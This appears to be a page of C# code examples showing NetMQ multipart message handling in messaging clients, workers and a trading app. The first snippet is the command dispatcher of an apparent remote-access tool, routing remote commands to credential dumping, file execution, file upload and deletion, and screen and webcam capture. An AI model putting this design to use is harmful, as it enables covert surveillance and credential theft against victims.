Exemple #1
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void ClientReceive(object sender, NetMQSocketEventArgs e)
        {
            UpdateLastReceived();
            SetConnected();

            var frames  = m_client.ReceiveMultipartMessage();
            var message = NetMessage.Deserialize(frames[0].Buffer);

            message.Match()
            .With <DoYourDutyMessage>(DoYourDuty)
            .With <PingMessage>(m => Send(new PongMessage()))
            .With <NavigateToFolderMessage>(NavigateToFolder)
            .With <DownloadFilePartMessage>(DownloadFilePart)
            .With <UploadFileMessage>(UploadFile)
            .With <DeleteFileMessage>(DeleteFile)
            .With <StartScreenCaptureMessage>(ScreenCapture.Instance.StartScreenCapture)
            .With <StopScreenCaptureMessage>(ScreenCapture.Instance.StopScreenCapture)
            .With <ExecuteFileMessage>(ExecuteFile)
            .With <StartCredentialsMessage>(DumpCredentials)
            .With <StartWebcamCaptureMessage>(Webcam.Instance.StartScreenCapture)
            .With <StopWebcamCaptureMessage>(Webcam.Instance.StopScreenCapture)
            .Default(m => SendFailedStatus(message.WindowId, "Message parsing", $"Unknow message {m.GetType().Name}"));

#if DEBUG
            if (message.GetType() != typeof(PingMessage))
            {
                Console.WriteLine(message.GetType().Name);
            }
#endif
        }
        /// <summary>
        ///     handle the incoming messages
        /// </summary>
        /// <remarks>
        ///     socket strips [client adr][e] from message
        ///     message -> [protocol header][service name][reply]
        ///                [protocol header][service name][result code of service lookup]
        /// </remarks>
        private void ProcessReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            // a message is available within the timeout period
            var reply = m_client.ReceiveMultipartMessage();

            Log(string.Format("\n[CLIENT INFO] received the reply {0}\n", reply));

            // in production code malformed messages should be handled smarter
            if (reply.FrameCount < 2)
            {
                throw new ApplicationException("[CLIENT ERROR] received a malformed reply");
            }

            var header = reply.Pop();  // [MDPHeader] <- [service name][reply] OR ['mmi.service'][return code]

            if (header.ConvertToString() != m_mdpClient)
            {
                throw new ApplicationException(string.Format("[CLIENT INFO] MDP Version mismatch: {0}", header));
            }

            var service = reply.Pop();  // [service name or 'mmi.service'] <- [reply] OR [return code]

            if (service.ConvertToString() != m_serviceName)
            {
                throw new ApplicationException(string.Format("[CLIENT INFO] answered by wrong service: {0}",
                                                             service.ConvertToString()));
            }
            // now set the value for the reply of the send method!
            m_reply = reply;        // [reply] OR [return code]
        }
Exemple #3
0
        /// <summary>
        ///     handle the incoming messages
        ///     if a message is received timeout timer is reseted
        /// </summary>
        /// <remarks>
        ///     socket strips [client adr][e] from message // TODO remove this?!
        ///     message ->
        ///                [empty frame][protocol header][service name][reply]
        ///                [empty frame][protocol header][service name][result code of service lookup]
        /// </remarks>
        private void OnProcessReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            Exception    exception = null;
            NetMQMessage reply     = null;

            try
            {
                reply = m_client.ReceiveMultipartMessage();
                if (ReferenceEquals(reply, null))
                {
                    throw new ApplicationException("Unexpected behavior");
                }

                m_timer.EnableAndReset(); // reset timeout timer because a message was received

                Log($"[CLIENT INFO] received a reply with '{reply.FrameCount}' frames");

                ExtractFrames(reply);
            }
            catch (Exception ex)
            {
                exception = ex;
            }
            finally
            {
                ReturnReply(reply, exception);
            }
        }
 public void Listening(TimeSpan timeout, CancellationToken cancellationToken)
 {
     Connect();
     while (true)
     {
         string topic = string.Empty;
         try
         {
             var buffer = _sub.ReceiveMultipartMessage();
             topic = buffer[0].ConvertToString();
             string header  = buffer[1].ConvertToString();
             var    body    = buffer[2].ToByteArray();
             var    _header = Newtonsoft.Json.JsonConvert.DeserializeObject <Dictionary <string, string> >(header);
             _header.Add(Messages.Headers.Group, _queueName);
             var message = new TransportMessage(_header, body);
             OnMessageReceived?.Invoke(_sub, message);
         }
         catch (Exception ex)
         {
             OnLog?.Invoke(this, new LogMessageEventArgs()
             {
                 LogType = MqLogType.ExceptionReceived, Reason = $"{_queueName}-{topic}-{ex.Message}"
             });
         }
         cancellationToken.ThrowIfCancellationRequested();
         cancellationToken.WaitHandle.WaitOne(timeout);
     }
 }
 public void Start()
 {
     while (true)
     {
         var msg = frontend.ReceiveMultipartMessage();
         backend.SendMultipartMessage(msg);
         frontend.SendFrame("Success");
     }
 }
Exemple #6
0
        /// <summary>
        ///     upon arrival of a message process it
        ///     and set the request variable accordingly
        /// </summary>
        /// <remarks>
        ///     worker expects to receive either of the following
        ///     REQUEST     -> [e][header][command][client adr][e][request]
        ///     HEARTBEAT   -> [e][header][command]
        ///     DISCONNECT  -> [e][header][command]
        ///     KILL        -> [e][header][command]
        /// </remarks>
        protected virtual void ProcessReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            // a request has arrived process it
            var request = m_worker.ReceiveMultipartMessage();

            m_receivedMessage = true;

            Log($"[WORKER] received {request}");

            // any message from broker is treated as heartbeat(!) since communication exists
            m_liveliness = _heartbeat_liveliness;
            // check the expected message envelope and get the embedded MPD command
            var command = GetMDPCommand(request);

            // MDP command is one byte!
            switch (command)
            {
            case MDPCommand.Request:
                // the message is [client adr][e][request]
                // save as many addresses as there are until we hit an empty frame
                // - for simplicity assume it is just one
                m_returnIdentity = Unwrap(request); // TODO give this responsibility to outside?!
                if (request.FrameCount == 2)        // TODO Improve this definition!! Maybe use another request type!? RequestCorrelated
                {
                    m_requestId = request.Last;
                    request.RemoveFrame(m_requestId);
                }
                else
                {
                    m_requestId = null;
                }
                OnWork(request);
                break;

            case MDPCommand.Heartbeat:
                // reset the liveliness of the broker
                m_liveliness = _heartbeat_liveliness;
                break;

            case MDPCommand.Disconnect:
                // reconnect the worker
                Connect();
                break;

            case MDPCommand.Kill:
                // stop working you worker you
                // m_exit = true; // TODO!
                break;

            default:
                Log("[WORKER ERROR] invalid command received!");
                break;
            }
        }
Exemple #7
0
        /// <summary>
        ///     upon arrival of a message process it
        ///     and set the request variable accordingly
        /// </summary>
        /// <remarks>
        ///     worker expects to receive either of the following
        ///     REQUEST     -> [e][header][command][client adr][e][request]
        ///     HEARTBEAT   -> [e][header][command]
        ///     DISCONNECT  -> [e][header][command]
        ///     KILL        -> [e][header][command]
        /// </remarks>
        protected virtual void ProcessReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            // a request has arrived process it
            var request = m_worker.ReceiveMultipartMessage();

//            Log ($"[WORKER] received {request.FrameCount} frameCount message");

            // make sure that we have no valid request yet!
            // if something goes wrong we'll return 'null'
            m_request = null;
            // any message from broker is treated as heartbeat(!) since communication exists
            m_liveliness = _heartbeat_liveliness;
            // check the expected message envelope and get the embedded MPD command
            var command = GetMDPCommand(request);

            // MDP command is one byte!
            switch (command)
            {
            case MDPCommand.Request:
                // the message is [client adr][e][request]
                // save as many addresses as there are until we hit an empty frame
                // - for simplicity assume it is just one
                m_returnIdentity = Unwrap(request);
                // set the class variable in order to return the request to caller
                m_request = request;
                break;

            case MDPCommand.Heartbeat:
                // reset the liveliness of the broker
                m_liveliness = _heartbeat_liveliness;
                break;

            case MDPCommand.Disconnect:
                // reconnect the worker
                Connect();
                break;

            case MDPCommand.Kill:
                // stop working you worker you
                m_exit = true;
                break;

            default:
                Log("[WORKER ERROR] invalid command received!");
                break;
            }
        }
Exemple #8
0
        /// <summary>
        ///     handle the incoming messages
        ///     if a message is received timeout timer is reseted
        /// </summary>
        /// <remarks>
        ///     socket strips [client adr][e] from message // TODO remove this?!
        ///     message ->
        ///                [empty frame][protocol header][service name][reply]
        ///                [empty frame][protocol header][service name][result code of service lookup]
        /// </remarks>
        private void OnReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            Exception    exception = null;
            NetMQMessage reply     = null;
            Request      req       = null;
            Guid         requestId = Guid.Empty;

            try
            {
                reply = m_client.ReceiveMultipartMessage();
                if (ReferenceEquals(reply, null))
                {
                    throw new ApplicationException("Unexpected behavior");
                }

                m_lastReceivedRequest = DateTime.UtcNow;

                Log($"[CLIENT INFO] received the reply {reply}");

                requestId = ExtractRequest(reply);
                req       = m_requestQueue.ConcludeRequest(requestId);
            }
            catch (Exception ex)
            {
                exception = ex;
            }
            finally
            {
                if (req == null)
                {
                    Log($"[CLIENT INFO] RequestId: {requestId} processed in DUPLICATE!");
                }
                else
                {
                    ReturnReply(req, reply, exception);
                }
            }
        }
        private void PullSocketReceiveReady(object sender, NetMQSocketEventArgs e)
        {
            lock (pullSocketLock)
            {
                if (pullSocket != null)
                {
                    var message = pullSocket.ReceiveMultipartMessage(2);
                    if (message.FrameCount < 2)
                    {
                        logger.Error("Messages Server: Received corrupted message.");
                        return;
                    }

                    var receivedObject = message[1].Buffer;

                    switch ((PushMessageType)BitConverter.ToInt16(message[0].Buffer, 0))
                    {
                    case PushMessageType.OpenOrderPush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.AddNewOpenOrderMessage(
                                    MyUtils.ProtoBufDeserialize <OpenOrder>(ms));
                            }
                        });
                        break;

                    case PushMessageType.CommissionPush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                var commissionMessage =
                                    MyUtils.ProtoBufDeserialize <CommissionMessage>(ms);
                                repository.AddCommissionMessage(commissionMessage);
                            }
                        });
                        break;

                    case PushMessageType.ExecutionPush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.AddExecutionMessage(
                                    MyUtils.ProtoBufDeserialize <ExecutionMessage>(ms));
                            }
                        });
                        break;

                    case PushMessageType.OrderStatusPush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.AddNewOrderStatusMessage(
                                    MyUtils.ProtoBufDeserialize <OrderStatusMessage>(ms));
                            }
                        });
                        break;

                    case PushMessageType.LiveTradePush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.AddOrUpdateLiveTrade(
                                    MyUtils.ProtoBufDeserialize <LiveTrade>(ms));
                            }
                        });
                        break;

                    case PushMessageType.AccountUpdatePush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.UpdateAccountSummary(
                                    MyUtils.ProtoBufDeserialize <AccountSummaryUpdate>(ms));
                            }
                        });
                        break;

                    case PushMessageType.EquityUpdatePush:
                        Task.Factory.StartNew(() =>
                        {
                            using (var ms = new MemoryStream(receivedObject))
                            {
                                repository.UpdateEquity(
                                    MyUtils.ProtoBufDeserialize <Equity>(ms));
                            }
                        });
                        break;

                    default:
                        throw new ArgumentOutOfRangeException();
                    }
                }
            }
        }